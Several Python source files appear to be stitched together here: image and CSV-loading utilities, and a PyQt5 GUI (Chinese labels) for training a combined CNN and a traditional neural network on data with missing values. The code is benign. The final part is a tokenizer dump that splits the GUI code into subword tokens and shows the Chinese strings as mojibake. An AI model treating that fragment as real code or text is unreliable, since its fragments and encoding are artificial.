import os import requests from PIL import Image from io import BytesIO import csv from typing import Iterable, List, Tuple, Dict, Callable, Union, Collection # pull the image from the api endpoint and save it if we don't have it, else load it from disk def get_img_from_file_or_url(img_format: str = "JPEG") -> Callable[[str, str], Image.Image]: def _apply(filepath: str, url: str) -> Image.Image: img = from_file(filepath) if img is None: img = from_url(url) img.save(filepath, img_format) return img.convert("RGB") # convert to rgb if not already (eg if grayscale) return _apply def from_url(url: str) -> Image.Image: api_response = requests.get(url).content response_bytes = BytesIO(api_response) return Image.open(response_bytes) def from_file(path: str) -> Union[Image.Image, None]: if os.path.exists(path): return Image.open(path) else: return None def load_metadata( path: str, cols: Iterable[int], class_cols: Collection[int] = tuple(), valid_only: bool = True, **reader_args ) -> Tuple[List, int, List, List[Dict[str, int]], List[Dict[int, str]], int]: metadata = [] # one dict for each class col class_to_index: List[Dict[str, int]] = [{}] * len(class_cols) index_to_class: List[Dict[int, str]] = [{}] * len(class_cols) next_indices = [0] * len(class_cols) # next index for a new class value with open(path, "r", newline="", encoding="utf8") as metadata_file: reader = csv.reader(metadata_file, **reader_args) headers = next(reader) for row in reader: if len(row) != 0: metadatum = [row[c] for c in cols] # for all class cols, add their vals to the class_to_index and index_to_class dicts if not there already for c, class_col in enumerate(class_cols): if not row[class_col] in class_to_index[c]: class_to_index[c][row[class_col]] = next_indices[c] index_to_class[c][next_indices[c]] = row[class_col] next_indices[c] += 1 if valid_only and "" in metadatum: continue metadata.append(metadatum) len_metadata = len(metadata) num_classes = 0 if len(next_indices) == 0 else next_indices[-1] # split off the headers return metadata, len_metadata, headers, class_to_index, index_to_class, num_classes
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302605d8bb45b1529742bf9441d476f0276085b9
import sys from PyQt5.QtWidgets import ( QMainWindow, QWidget, QHBoxLayout, QVBoxLayout, QFrame, QSplitter, QStyleFactory, QApplication, QPushButton, QTextEdit, QLabel, QFileDialog, QMessageBox, ) from PyQt5.QtCore import Qt from PyQt5.QtGui import QFont, QColor import myLoadData from UIPack import ( setLossParameterDialog, showDataWidget, setModelParametersDialog, TrainingWidget, showResultWidget, showJudgeWidgets, chooseJudgeDataSetWidget, ) from MyCombCNNPack import combineNumCalculate, myCombineCNN, traditionalNN, Judgement class MyMainWindow(QMainWindow): def __init__(self): super().__init__() self.windowLength = 1250 self.windowHigh = 900 self.fname = dict() self.fname["New"] = None self.fname["Tra"] = None self.dataLossRate = dict() self.dataSetLossValue = dict() self.dataFor = dict() self.dataFor["New"] = None self.dataLossRate["New"] = 0.0 self.dataSetLossValue["New"] = 0.0 self.dataFor["Tra"] = None self.dataLossRate["Tra"] = 0.0 self.dataSetLossValue["Tra"] = 0.0 self.traingWidgetOnFlag = dict() self.traingWidgetOnFlag["New"] = False self.traingWidgetOnFlag["Tra"] = False self.combineNumConv = 2 self.convCoreNum = 5 self.combineNumPooling = 4 self.fullConnectOutInRate = 0.5 self.mcbcnn = None self.trann = None self.trainingW = None self.trainingWT = None self.initUI() self.initConnect() def initUI(self): self.statusBar().showMessage("Ready") ####### data module ####### dataModule = QVBoxLayout() self.dataFileChooseButton = QPushButton("选择数据") self.dataFileChooseButton.setFont(QFont("微软雅黑", 16)) self.dataLossSimulateSettingButton = QPushButton("设置数据缺失参数") self.dataLossSimulateSettingButton.setFont(QFont("微软雅黑", 16)) self.dataShowButton = QPushButton("展示数据") self.dataShowButton.setFont(QFont("微软雅黑", 16)) label = QLabel("Present Data:") label.setFont(QFont("微软雅黑", 16)) self.presentDataName = QLabel("None") self.presentDataName.setFont(QFont("微软雅黑", 16)) labelbox = QVBoxLayout() labelbox.addWidget(label) labelbox.addWidget(self.presentDataName) dataModule.addStretch(1) dataModule.addLayout(labelbox) dataModule.addStretch(1) dataModule.addWidget(self.dataFileChooseButton) dataModule.addStretch(1) dataModule.addWidget(self.dataLossSimulateSettingButton) dataModule.addStretch(1) dataModule.addWidget(self.dataShowButton) dataModule.addStretch(1) ###### training module ######## trainingModule = QVBoxLayout() self.setModelParametersButton = QPushButton("Model Parameters") self.setModelParametersButton.setFont(QFont("微软雅黑", 16)) # self.setTrainingParametersButton = QPushButton('Trainning Parameters') # self.setTrainingParametersButton.setFont(QFont('微软雅黑', 16)) self.trainingButton = QPushButton("Training") self.trainingButton.setFont(QFont("微软雅黑", 16)) self.saveModelButton = QPushButton("Save Model") self.saveModelButton.setFont(QFont("微软雅黑", 16)) self.loadModelButton = QPushButton("Load Model") self.loadModelButton.setFont(QFont("微软雅黑", 16)) label = QLabel("Present Model:") label.setFont(QFont("微软雅黑", 16)) self.presentModelName = QLabel("None") self.presentModelName.setFont(QFont("微软雅黑", 16)) labelbox = QVBoxLayout() labelbox.addWidget(label) labelbox.addWidget(self.presentModelName) trainingModule.addStretch(1) trainingModule.addLayout(labelbox) trainingModule.addStretch(1) trainingModule.addWidget(self.setModelParametersButton) trainingModule.addStretch(1) trainingModule.addWidget(self.trainingButton) trainingModule.addStretch(1) trainingModule.addWidget(self.saveModelButton) trainingModule.addStretch(1) trainingModule.addWidget(self.loadModelButton) trainingModule.addStretch(1) ############## new cnn result show ###### resultShowModule = QVBoxLayout() self.showResultButton = QPushButton("分类结果展示") self.showResultButton.setFont(QFont("微软雅黑", 16)) self.judgeResultButton = QPushButton("分类结果评估") self.judgeResultButton.setFont(QFont("微软雅黑", 16)) resultShowModule.addWidget(self.showResultButton) resultShowModule.addWidget(self.judgeResultButton) ################# new algorithm ui ########## hboxTop = QHBoxLayout() hboxTop.addStretch(1) mcnnLabel = QLabel("Combine-CNN:") mcnnLabel.setFont(QFont("微软雅黑", 24, QFont.Bold)) hboxTop.addWidget(mcnnLabel) hboxTop.addStretch(1) hboxTop.addLayout(dataModule) hboxTop.addStretch(1) hboxTop.addLayout(trainingModule) hboxTop.addStretch(1) hboxTop.addLayout(resultShowModule) hboxTop.addStretch(1) #########traditional data module########## dataModuleT = QVBoxLayout() self.dataFileChooseButtonT = QPushButton("选择数据") self.dataFileChooseButtonT.setFont(QFont("微软雅黑", 16)) self.dataLossSimulateSettingButtonT = QPushButton("设置数据缺失参数") self.dataLossSimulateSettingButtonT.setFont(QFont("微软雅黑", 16)) self.dataPreProcessButtonT = QPushButton("数据预处理") self.dataPreProcessButtonT.setFont(QFont("微软雅黑", 16)) self.dataShowButtonT = QPushButton("展示数据") self.dataShowButtonT.setFont(QFont("微软雅黑", 16)) label = QLabel("Present Data:") label.setFont(QFont("微软雅黑", 16)) self.presentDataNameT = QLabel("None") self.presentDataNameT.setFont(QFont("微软雅黑", 16)) labelbox = QVBoxLayout() labelbox.addWidget(label) labelbox.addWidget(self.presentDataNameT) dataModuleT.addStretch(1) dataModuleT.addLayout(labelbox) dataModuleT.addStretch(1) dataModuleT.addWidget(self.dataFileChooseButtonT) dataModuleT.addStretch(1) dataModuleT.addWidget(self.dataLossSimulateSettingButtonT) dataModuleT.addStretch(1) dataModuleT.addWidget(self.dataPreProcessButtonT) dataModuleT.addStretch(1) dataModuleT.addWidget(self.dataShowButtonT) dataModuleT.addStretch(1) ###### training module ######## trainingModuleT = QVBoxLayout() self.setModelParametersButtonT = QPushButton("Model Parameters") self.setModelParametersButtonT.setFont(QFont("微软雅黑", 16)) self.trainingButtonT = QPushButton("Training") self.trainingButtonT.setFont(QFont("微软雅黑", 16)) self.saveModelButtonT = QPushButton("Save Model") self.saveModelButtonT.setFont(QFont("微软雅黑", 16)) self.loadModelButtonT = QPushButton("Load Model") self.loadModelButtonT.setFont(QFont("微软雅黑", 16)) label = QLabel("Present Model:") label.setFont(QFont("微软雅黑", 16)) self.presentModelNameT = QLabel("None") self.presentModelNameT.setFont(QFont("微软雅黑", 16)) labelbox = QVBoxLayout() labelbox.addWidget(label) labelbox.addWidget(self.presentModelNameT) trainingModuleT.addStretch(1) trainingModuleT.addLayout(labelbox) trainingModuleT.addStretch(1) trainingModuleT.addWidget(self.setModelParametersButtonT) trainingModuleT.addStretch(1) trainingModuleT.addWidget(self.trainingButtonT) trainingModuleT.addStretch(1) trainingModuleT.addWidget(self.saveModelButtonT) trainingModuleT.addStretch(1) trainingModuleT.addWidget(self.loadModelButtonT) trainingModuleT.addStretch(1) ############## traditional nn result show ###### resultShowModuleT = QVBoxLayout() self.showResultButtonT = QPushButton("分类结果展示") self.showResultButtonT.setFont(QFont("微软雅黑", 16)) self.judgeResultButtonT = QPushButton("分类结果评估") self.judgeResultButtonT.setFont(QFont("微软雅黑", 16)) resultShowModuleT.addWidget(self.showResultButtonT) resultShowModuleT.addWidget(self.judgeResultButtonT) ####### traditional algorithm ######### hboxBottom = QHBoxLayout(self) hboxBottom.addStretch(1) traditionNNLabel = QLabel("Traditional NN:") traditionNNLabel.setFont(QFont("微软雅黑", 24, QFont.Bold)) hboxBottom.addWidget(traditionNNLabel) hboxBottom.addStretch(1) hboxBottom.addLayout(dataModuleT) hboxBottom.addStretch(1) hboxBottom.addLayout(trainingModuleT) hboxBottom.addStretch(1) hboxBottom.addLayout(resultShowModuleT) hboxBottom.addStretch(1) ########## whole frame layout ######## splitterLine = QLabel(self) splitterLine.setFont(QFont("Times", 1)) col = QColor(0, 0, 0) splitterLine.setStyleSheet("QWidget { background-color: %s }" % col.name()) splitterLine.resize(splitterLine.sizeHint()) vbox = QVBoxLayout() vbox.addLayout(hboxTop) # vbox.addWidget(QLabel(str('_'*int(self.width()/3)))) vbox.addWidget(splitterLine) vbox.addLayout(hboxBottom) mainWidget = QWidget() mainWidget.setLayout(vbox) self.setCentralWidget(mainWidget) self.setGeometry(350, 100, self.windowLength, self.windowHigh) self.setWindowTitle("适用于有缺失值数据集的神经网络系统") self.show() def initConnect(self): self.dataFileChooseButton.clicked.connect(self.chooseData) self.dataFileChooseButtonT.clicked.connect(self.chooseData) self.dataLossSimulateSettingButton.clicked.connect(self.setLossParameter) self.dataLossSimulateSettingButtonT.clicked.connect(self.setLossParameter) self.dataShowButton.clicked.connect(self.showData) self.dataShowButtonT.clicked.connect(self.showData) self.dataPreProcessButtonT.clicked.connect(self.preProcess) self.setModelParametersButton.clicked.connect(self.setModelParameters) self.setModelParametersButtonT.clicked.connect(self.setModelParameters) self.trainingButton.clicked.connect(self.training) self.trainingButtonT.clicked.connect(self.training) self.saveModelButton.clicked.connect(self.saveModel) self.saveModelButtonT.clicked.connect(self.saveModel) self.loadModelButton.clicked.connect(self.loadModel) self.loadModelButtonT.clicked.connect(self.loadModel) self.showResultButton.clicked.connect(self.showResult) self.showResultButtonT.clicked.connect(self.showResult) self.judgeResultButton.clicked.connect(self.showJudge) self.judgeResultButtonT.clicked.connect(self.showJudge) ############ data load module ##################### def chooseData(self): if self.sender() is self.dataFileChooseButton: self.fname["New"], ok = QFileDialog.getOpenFileName(self, "Open file", "..", "Text files (*.txt)") if ok: # dataname = self.fname['New'].split('/')[-1].split('.')[0] # # print(dataname) # self.presentDataName.setText(dataname) # self.presentDataName.resize(self.presentDataName.sizeHint()) self.loadData() elif self.sender() is self.dataFileChooseButtonT: self.fname["Tra"], ok = QFileDialog.getOpenFileName(self, "Open file", "..", "Text files (*.txt)") if ok: # dataname = self.fname['Tra'].split('/')[-1].split('.')[0] # # print(dataname) # self.presentDataNameT.setText(dataname) # self.presentDataNameT.resize(self.presentDataNameT.sizeHint()) self.loadData() return def loadData(self): if self.sender() is self.dataFileChooseButton: try: self.dataFor["New"] = myLoadData.loadData( self.fname["New"], self.dataLossRate["New"], self.dataSetLossValue["New"] ) # print(self.dataFor['New'].DataTrainX, '\n', self.dataFor['New'].DataTrainY) except FileNotFoundError as e: reply = QMessageBox.information(self, "Message", "Data file not exist", QMessageBox.Yes, QMessageBox.Yes) return except Exception: reply = QMessageBox.information(self, "Message", "Data file format error", QMessageBox.Yes, QMessageBox.Yes) return dataname = self.fname["New"].split("/")[-1].split(".")[0] # print(dataname) self.presentDataName.setText(dataname) self.presentDataName.resize(self.presentDataName.sizeHint()) elif self.sender() is self.dataFileChooseButtonT: try: self.dataFor["Tra"] = myLoadData.loadData( self.fname["Tra"], self.dataLossRate["Tra"], self.dataSetLossValue["Tra"] ) # print(self.dataFor['Tra'].DataTrainX, '\n', self.dataFor['Tra'].DataTrainY) except FileNotFoundError as e: reply = QMessageBox.information(self, "Message", "Data file not exist", QMessageBox.Yes, QMessageBox.Yes) return except Exception: reply = QMessageBox.information(self, "Message", "Data file format error", QMessageBox.Yes, QMessageBox.Yes) return dataname = self.fname["Tra"].split("/")[-1].split(".")[0] # print(dataname) self.presentDataNameT.setText(dataname) self.presentDataNameT.resize(self.presentDataNameT.sizeHint()) return def setLossParameter(self): if self.sender() is self.dataLossSimulateSettingButton: self.setLPDialog = setLossParameterDialog.setLossParameterDialog("combine-CNN设置缺失参数", self, "New") elif self.sender() is self.dataLossSimulateSettingButtonT: self.setLPDialog = setLossParameterDialog.setLossParameterDialog("traditional NN设置缺失参数", self, "Tra") # print(self.dataLossRate) # print(self.dataSetLossValue) return def showData(self): if self.sender() is self.dataShowButton: # print(1) self.showDataW = showDataWidget.ShowDataWidget("combine-CNN数据展示", self, "New") elif self.sender() is self.dataShowButtonT: # print(1) self.showDataW = showDataWidget.ShowDataWidget("traditional NN数据展示", self, "Tra") return def preProcess(self): if self.dataFor["Tra"] is None: reply = QMessageBox.information(self, "数据错误", "没有加载数据，无法预处理", QMessageBox.Yes, QMessageBox.Yes) else: self.dataFor["Tra"].MeanPreProcess() reply = QMessageBox.information(self, "Message", "PreProcess succeed!", QMessageBox.Yes, QMessageBox.Yes) return ############## training module ################# def setModelParameters(self): if self.sender() is self.setModelParametersButton: # print(1) self.setModelParaW = setModelParametersDialog.setLossParameterDialog("combine-CNN模型参数设置", self, "New") elif self.sender() is self.setModelParametersButtonT: self.setModelParaW = setModelParametersDialog.setLossParameterDialog("traditional NN模型参数设置", self, "Tra") def training(self): if self.sender() is self.trainingButton: if self.trainingW is not None: self.trainingW.hide() # print(self.trainingW) self.trainingW.show() return senderName = "New" elif self.sender() is self.trainingButtonT: if self.trainingWT is not None: self.trainingWT.hide() self.trainingWT.show() senderName = "Tra" if self.dataFor[senderName] is None: reply = QMessageBox.information(self, "数据错误", "没有加载数据，无法训练", QMessageBox.Yes, QMessageBox.Yes) return elif senderName == "New": if self.dataFor[senderName].DataTrainX.shape[1] < self.combineNumConv: reply = QMessageBox.information( self, "参数错误", "卷积层组合(卷积核)大小大于数据集特征数量", QMessageBox.Yes, QMessageBox.Yes ) return if ( combineNumCalculate.combineNumCal(self.dataFor[senderName].DataTrainX.shape[1], self.combineNumConv) < self.combineNumPooling ): reply = QMessageBox.information( self, "参数错误", "池化层组合(池化核)大小大于卷积层输出特征向量维度", QMessageBox.Yes, QMessageBox.Yes ) return # print(self.trainingW) if self.trainingWT is not None: reply = QMessageBox.information( self, "提示", "traditional NN训练正在进行，请等待其结束", QMessageBox.Yes, QMessageBox.Yes ) return self.trainingW = TrainingWidget.trainningWidget("combine-CNN训练", self, senderName) self.traingWidgetOnFlag[senderName] = False elif senderName == "Tra": if self.trainingW is not None: reply = QMessageBox.information( self, "提示", "combine-CNN训练正在进行，请等待其结束", QMessageBox.Yes, QMessageBox.Yes ) return self.trainingWT = TrainingWidget.trainningWidget("traditional NN训练", self, senderName) self.traingWidgetOnFlag[senderName] = False return def saveModel(self): if self.sender() is self.saveModelButton: if self.mcbcnn is None: reply = QMessageBox.information(self, "模型错误", "模型不存在", QMessageBox.Yes, QMessageBox.Yes) return else: fname, ok = QFileDialog.getSaveFileName( self, "Save Model", "..\\myCombineCNN.cbcnn.json", "Combine-CNN json files (*.cbcnn.json)" ) if ok: succeed = self.mcbcnn.saveModel(fname) if succeed: reply = QMessageBox.information(self, "保存结果", "模型保存成功", QMessageBox.Yes, QMessageBox.Yes) else: reply = QMessageBox.information(self, "保存结果", "模型保存失败", QMessageBox.Yes, QMessageBox.Yes) else: reply = QMessageBox.information(self, "保存结果", "模型保存失败", QMessageBox.Yes, QMessageBox.Yes) elif self.sender() is self.saveModelButtonT: if self.trann is None: reply = QMessageBox.information(self, "模型错误", "模型不存在", QMessageBox.Yes, QMessageBox.Yes) return else: fname, ok = QFileDialog.getSaveFileName( self, "Save Model", "..\\traditionalNN.trann.json", "Traditional NN json files (*.trann.json)" ) if ok: succeed = self.trann.saveModel(fname) if succeed: reply = QMessageBox.information(self, "保存结果", "模型保存成功", QMessageBox.Yes, QMessageBox.Yes) else: reply = QMessageBox.information(self, "保存结果", "模型保存失败", QMessageBox.Yes, QMessageBox.Yes) else: reply = QMessageBox.information(self, "保存结果", "模型保存失败", QMessageBox.Yes, QMessageBox.Yes) def loadModel(self): if self.sender() is self.loadModelButton: fname, ok = QFileDialog.getOpenFileName(self, "Load Model", "..", "Combine-CNN json files (*.cbcnn.json)") if ok: if self.mcbcnn is None: self.mcbcnn = myCombineCNN.myCombineCNN(None, self.combineNumConv, self.convCoreNum, self.combineNumPooling) succeed = self.mcbcnn.setModel(fname) if succeed: modelName = fname.split("/")[-1].split(".")[0] self.presentModelName.setText(modelName) reply = QMessageBox.information(self, "设置结果", "模型设置成功", QMessageBox.Yes, QMessageBox.Yes) else: reply = QMessageBox.information(self, "设置结果", "模型设置失败", QMessageBox.Yes, QMessageBox.Yes) else: reply = QMessageBox.information(self, "设置结果", "模型设置失败", QMessageBox.Yes, QMessageBox.Yes) elif self.sender() is self.loadModelButtonT: fname, ok = QFileDialog.getOpenFileName(self, "Load Model", "..", "Traditional NN json files (*.trann.json)") if ok: if self.trann is None: self.trann = traditionalNN.traditionalNN(None) succeed = self.trann.setModel(fname) if succeed: modelName = fname.split("/")[-1].split(".")[0] self.presentModelNameT.setText(modelName) reply = QMessageBox.information(self, "设置结果", "模型设置成功", QMessageBox.Yes, QMessageBox.Yes) else: reply = QMessageBox.information(self, "设置结果", "模型设置失败", QMessageBox.Yes, QMessageBox.Yes) else: reply = QMessageBox.information(self, "设置结果", "模型设置失败", QMessageBox.Yes, QMessageBox.Yes) return def showResult(self): if self.sender() is self.showResultButton: if self.traingWidgetOnFlag["New"]: reply = QMessageBox.information(self, "提示", "训练正在进行", QMessageBox.Yes, QMessageBox.Yes) return self.showResultW = showResultWidget.ShowResultWidget("combine-CNN预测结果展示", self, "New") elif self.sender() is self.showResultButtonT: if self.traingWidgetOnFlag["Tra"]: reply = QMessageBox.information(self, "提示", "训练正在进行", QMessageBox.Yes, QMessageBox.Yes) return self.showResultW = showResultWidget.ShowResultWidget("traditional NN预测结果展示", self, "Tra") return def showJudge(self): if self.sender() is self.judgeResultButton: if self.traingWidgetOnFlag["New"]: reply = QMessageBox.information(self, "提示", "训练正在进行", QMessageBox.Yes, QMessageBox.Yes) return self.chooseJDWin = chooseJudgeDataSetWidget.chooseJudgeDataSetWidget( "Choose Judgement-based-on Data Set", self, "New" ) elif self.sender() is self.judgeResultButtonT: if self.traingWidgetOnFlag["Tra"]: reply = QMessageBox.information(self, "提示", "训练正在进行", QMessageBox.Yes, QMessageBox.Yes) return self.chooseJDWin = chooseJudgeDataSetWidget.chooseJudgeDataSetWidget( "Choose Judgement-based-on Data Set", self, "Tra" ) # self.testw = showJudgeWidgets.judgeWidget('test', self, 'New', 'Train') # self.mcbcnn.runCNN('Test', self.dataFor['New']) # drawCM = Judgement.myJudge(self.mcbcnn.data.yClassDic, self.mcbcnn.getAccuratePredictResult().argmax(1), self.mcbcnn.data.DataTestY.argmax(1)) # drawCM.plotConfuseMatrix() if __name__ == "__main__": app = QApplication(sys.argv) myMainWindow = MyMainWindow() sys.exit(app.exec_())
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"ä¸įåŃĺåľ¨", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġfname", ",", "Ġok", "Ġ=", "ĠQ", "FileDialog", ".", "get", "Save", "FileName", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ",", "Ġ\"", "Save", "ĠModel", "\",", "Ġ\"..", "\\\\", "my", "Combine", "CNN", ".", "cbc", "nn", ".", "json", "\",", "Ġ\"", "Combine", "-", "CNN", "Ġjson", "Ġfiles", "Ġ(*", ".", "cbc", "nn", ".", "json", ")\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġok", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġsucceed", "Ġ=", "Ġself", ".", "m", "cbc", "nn", ".", "save", "Model", "(", "fname", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġsucceed", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "ä¿ĿåŃĺ", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "ä¿ĿåŃĺ", "æĪIJåĬŁ", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "ä¿ĿåŃĺ", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "ä¿ĿåŃĺ", "失败", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "ä¿ĿåŃĺ", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "ä¿ĿåŃĺ", "失败", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĊĠĠĠĠĠĠĠ", "Ġelif", "Ġself", ".", "sender", "()", "Ġis", "Ġself", ".", "save", "Model", "Button", "T", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġself", ".", "tr", "ann", "Ġis", "ĠNone", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "模åŀĭ", "éĶĻ误", "\",", "Ġ\"", "模åŀĭ", "ä¸įåŃĺåľ¨", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġfname", ",", "Ġok", "Ġ=", "ĠQ", "FileDialog", ".", "get", "Save", "FileName", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ",", "Ġ\"", "Save", "ĠModel", "\",", "Ġ\"..", "\\\\", "trad", "itional", "NN", ".", "tr", "ann", ".", "json", "\",", "Ġ\"", "Tr", "ad", "itional", "ĠNN", "Ġjson", "Ġfiles", "Ġ(*", ".", "tr", "ann", ".", "json", ")\"", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġok", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġsucceed", "Ġ=", "Ġself", ".", "tr", "ann", ".", "save", "Model", "(", "fname", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġsucceed", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "ä¿ĿåŃĺ", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "ä¿ĿåŃĺ", "æĪIJåĬŁ", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "ä¿ĿåŃĺ", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "ä¿ĿåŃĺ", "失败", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "ä¿ĿåŃĺ", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "ä¿ĿåŃĺ", "失败", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĊĠĠĠ", "Ġdef", "Ġload", "Model", "(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġself", ".", "sender", "()", "Ġis", "Ġself", ".", "load", "Model", "Button", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfname", ",", "Ġok", "Ġ=", "ĠQ", "FileDialog", ".", "get", "Open", "FileName", "(", "self", ",", "Ġ\"", "Load", "ĠModel", "\",", "Ġ\"..", "\",", "Ġ\"", "Combine", "-", "CNN", "Ġjson", "Ġfiles", "Ġ(*", ".", "cbc", "nn", ".", "json", ")\")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġok", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġself", ".", "m", "cbc", "nn", "Ġis", "ĠNone", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "m", "cbc", "nn", "Ġ=", "Ġmy", "Combine", "CNN", ".", "my", "Combine", "CNN", "(", "None", ",", "Ġself", ".", "combine", "Num", "Conv", ",", "Ġself", ".", "conv", "Core", "Num", ",", "Ġself", ".", "combine", "Num", "Pooling", ")", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġsucceed", "Ġ=", "Ġself", ".", "m", "cbc", "nn", ".", "setModel", "(", "fname", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġsucceed", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġmodel", "Name", "Ġ=", "Ġfname", ".", "split", "(\"/\")", "[-", "1", "].", "split", "(\".", "\")[", "0", "]", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "present", "ModelName", ".", "setText", "(", "model", "Name", ")", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "设置", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "设置", "æĪIJåĬŁ", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "设置", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "设置", "失败", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "设置", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "设置", "失败", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĊĠĠĠĠĠĠĠ", "Ġelif", "Ġself", ".", "sender", "()", "Ġis", "Ġself", ".", "load", "Model", "Button", "T", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfname", ",", "Ġok", "Ġ=", "ĠQ", "FileDialog", ".", "get", "Open", "FileName", "(", "self", ",", "Ġ\"", "Load", "ĠModel", "\",", "Ġ\"..", "\",", "Ġ\"", "Tr", "ad", "itional", "ĠNN", "Ġjson", "Ġfiles", "Ġ(*", ".", "tr", "ann", ".", "json", ")\")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġok", ":", 